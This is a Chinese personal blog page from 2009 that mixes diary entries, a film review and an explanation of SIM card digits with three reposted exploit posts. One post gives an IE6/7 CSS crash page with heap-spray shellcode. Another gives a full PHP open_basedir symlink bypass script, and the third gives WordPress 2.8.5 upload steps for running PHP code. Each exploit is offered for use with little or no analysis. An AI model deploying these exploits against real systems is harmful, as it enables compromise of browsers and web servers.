坏人咖啡的窝 » 坏人咖啡

SIM卡数字的含义

27 11月 2009 | category

学习笔记

已关闭评论

手机SIM现在分为中国移动和中国联通，以后还会有中国电信，不过这里只举了中国移动SIM卡和中国联通SIM卡的例子。SIM背面数字的长度为20位。
中国移动SIM后面20为数字说明
例如：8986 00 60 26 07 4 5622354

8986代表国家中国
00代表运营商中国移动
60代表手机号码第三四位，如此卡为1360
26代表发卡省份编号[1]
07代表发(制)卡年份2007年
4代表生产厂家
5622354代表用户识别号，比较随意

中国联通SIM后面20位数字说明

例如：8986 01 07 00 029 …

感谢

26 11月 2009 | category

心情随笔

已关闭评论

有句话说“只有心怀感恩，才能滋润生命”：

感谢伤害我们的人，因为他磨练了我们的心志。
感谢欺骗我们的人，因为他增进了我们的智慧。
感谢中伤我们的人，因为他磨砺了我们的人格。
感谢斥责我们的人，因为他提醒了我们的缺点。
感谢在那些过去的和即将经历的生活中，所有使我们更坚强的人！

Internet Explorer 6/7 CSS Handling Denial of Service

24 11月 2009 | category

工具收集

已关闭评论

IE6/7 CSS 处理拒绝服务

利用代码：

&lt;!--
securitylab.ir
K4mr4n_st (at) yahoo (dot) com [email concealed]
--&gt;
&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
&lt;HTML xmlns="http://www.w3.org/1999/xhtml"&gt;
&lt;HEAD&gt;
&lt;script&gt;
function load(){
var e;
e=document.getElementsByTagName("STYLE")[0];
e.outerHTML="1";
}
&lt;/script&gt;
&lt;STYLE type="text/css"&gt;
body{ overflow: scroll; margin: 0; }
&lt;/style&gt;

&lt;SCRIPT language="javascript"&gt;
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EEu99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB0%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u
7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length&lt;slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace&lt;0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x&lt;4000; x++) memory[x] = block + shellcode;
&lt;/script&gt;

&lt;/HEAD&gt;
&lt;BODY onload="load()"&gt;
&lt;/BODY&gt;
&lt;/HTML&gt;

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

<!--

securitylab.ir

K4mr4n_st (at) yahoo (dot) com [email concealed]

-->

<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<HEAD>

function load(){

var e;

e=document.getElementsByTagName("STYLE")[0];

e.outerHTML="1";

}

</script>

body{ overflow: scroll; margin: 0; }

</style>

var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EEu99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB0%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u

7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

var bigblock = unescape("%u9090%u9090");

var headersize = 20;

var slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (x=0; x<4000; x++) memory[x] = block + shellcode;

</script>

</HEAD>

</BODY>

</HTML>

http://www.exploit-db.com/exploits/10210
另付国人公布的内容，具体是谁抄谁的就不得而知了，各位看官自己判断吧！
http://www.yxlink.com/newsview_15.html

看飞屋环游记有感

21 11月 2009 | category

心情随笔

Comments (2)

一直说要看这部电影，一直没有时间看，今天终于看完了，看过后还蛮感动了，感动老卡尔对艾莉的感情，老卡尔为了保存和艾莉生活过的房子，打算去完成艾莉小时候的遗愿，最终老卡尔完成了艾莉的遗愿也获得了小罗素的友情。

PHP 5.2.11/5.3.0 的多个漏洞

19 11月 2009 | category

学习笔记

已关闭评论

利用代码：

&lt;?php
/*
PHP 5.2.11/5.3.0 symlink() open_basedir bypass 
by Maksymilian Arciemowicz http://securityreason.com/
cxib [ a.T] securityreason [ d0t] com

CHUJWAMWMUZG
*/

$fakedir="cx";
$fakedep=16;

$num=0; // offset of symlink.$num

if(!empty($_GET['file'])) $file=$_GET['file'];
else if(!empty($_POST['file'])) $file=$_POST['file'];
else $file="";

echo '&lt;PRE&gt;&lt;img
src="http://securityreason.com/gfx/logo.gif?cx5211.php"&gt;&lt;P&gt;This is exploit
from &lt;a
href="http://securityreason.com/" title="Security Audit PHP"&gt;Security Audit
Lab - SecurityReason&lt;/a&gt; labs.
Author : Maksymilian Arciemowicz
&lt;p&gt;Script for legal use only.
&lt;p&gt;PHP 5.2.11 5.3.0 symlink open_basedir bypass
&lt;p&gt;More: &lt;a href="http://securityreason.com/"&gt;SecurityReason&lt;/a&gt;
&lt;p&gt;&lt;form name="form"
action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF
"]).'" method="post"&gt;&lt;input type="text" name="file" size="50"
value="'.htmlspecialchars($file).'"&gt;&lt;input type="submit" name="hym"
value="Create Symlink"&gt;&lt;/form&gt;';

if(empty($file))
exit;

if(!is_writable("."))
die("not writable directory");

$level=0;

for($as=0;$as&lt;$fakedep;$as++){
if(!file_exists($fakedir))
mkdir($fakedir);
chdir($fakedir);
}

while(1&lt;$as--) chdir("..");

$hardstyle = explode("/", $file);

for($a=0;$a&lt;count($hardstyle);$a++){
if(!empty($hardstyle[$a])){
if(!file_exists($hardstyle[$a])) 
mkdir($hardstyle[$a]);
chdir($hardstyle[$a]);
$as++;
}
}
$as++;
while($as--)
chdir("..");

@rmdir("fakesymlink");
@unlink("fakesymlink");

@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");

// this loop will skip allready created symlinks.
while(1)
if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file,
"symlink".$num))) break;
else $num++;

@unlink("fakesymlink");
mkdir("fakesymlink");

die('&lt;FONT COLOR="RED"&gt;check symlink &lt;a
href="./symlink'.$num.'"&gt;symlink'.$num.'&lt;/a&gt; file&lt;/FONT&gt;');

?&gt;

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

<?php

/*

PHP 5.2.11/5.3.0 symlink() open_basedir bypass

by Maksymilian Arciemowicz http://securityreason.com/

cxib [ a.T] securityreason [ d0t] com

CHUJWAMWMUZG

*/

$fakedir="cx";

$fakedep=16;

$num=0; // offset of symlink.$num

if(!empty($_GET['file'])) $file=$_GET['file'];

else if(!empty($_POST['file'])) $file=$_POST['file'];

else $file="";

echo '<PRE><img

src="http://securityreason.com/gfx/logo.gif?cx5211.php"><P>This is exploit

from <a

href="http://securityreason.com/" title="Security Audit PHP">Security Audit

Lab - SecurityReason</a> labs.

Author : Maksymilian Arciemowicz

<p>Script for legal use only.

<p>PHP 5.2.11 5.3.0 symlink open_basedir bypass

<p>More: <a href="http://securityreason.com/">SecurityReason</a>

<p><form name="form"

action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF

"]).'" method="post"><input type="text" name="file" size="50"

value="'.htmlspecialchars($file).'"><input type="submit" name="hym"

value="Create Symlink"></form>';

if(empty($file))

exit;

if(!is_writable("."))

die("not writable directory");

$level=0;

for($as=0;$as<$fakedep;$as++){

if(!file_exists($fakedir))

mkdir($fakedir);

chdir($fakedir);

}

while(1<$as--) chdir("..");

$hardstyle = explode("/", $file);

for($a=0;$a<count($hardstyle);$a++){

if(!empty($hardstyle[$a])){

if(!file_exists($hardstyle[$a]))

mkdir($hardstyle[$a]);

chdir($hardstyle[$a]);

$as++;

}

$as++;

while($as--)

chdir("..");

@rmdir("fakesymlink");

@unlink("fakesymlink");

@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");

// this loop will skip allready created symlinks.

while(1)

if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file,

"symlink".$num))) break;

else $num++;

@unlink("fakesymlink");

mkdir("fakesymlink");

die('<FONT COLOR="RED">check symlink <a

href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>');

?>

WordPress 2.8.5 Unrestricted File Upload Arbitrary PHP Code Execution

16 11月 2009 | category

学习笔记

已关闭评论

漏洞分析就不说了，下面我们来看下漏洞利用吧！

Browser is enough to replicate this issue. Simply log in to your wordpress blog as a low privileged
user or admin. Create a new post and use the media file upload feature to upload a file:

test-image.php.jpg

containing the following code:


&lt;?php
phpinfo();
?&gt;

1

2

3

4

5

<?php

phpinfo();

?>

After the upload …

不行了，又变坏了！

15 11月 2009 | category

心情随笔

已关闭评论

昨天下午和公司的同事去打球了，玩了没多久发现自己现在的状况真的是太差了，身体素质下降的太多了，才跑了那么一会就不跑不动了，看来自己真的应该锻炼下了。好怀念高中那段翘课打球日子啊，好想那群一起翅课的伙伴呀！

现在刚和某位同志聊完天，看来某人还是不了解我呀！不行了，发现自己越来越邪恶了，越来越坏了！哎，让我们的坏人之路继续邪恶下去吧！

另祝芽芽小花同志早日康复，早日的回去被我欺负！哈哈！

Author: 坏人咖啡

Posts by 坏人咖啡

最近很忙

SIM卡数字的含义

感谢

Internet Explorer 6/7 CSS Handling Denial of Service

看飞屋环游记有感

PHP 5.2.11/5.3.0 的多个漏洞

WordPress 2.8.5 Unrestricted File Upload Arbitrary PHP Code Execution

不行了，又变坏了！

文章分类

热门标签

随机文章

文章归档

Users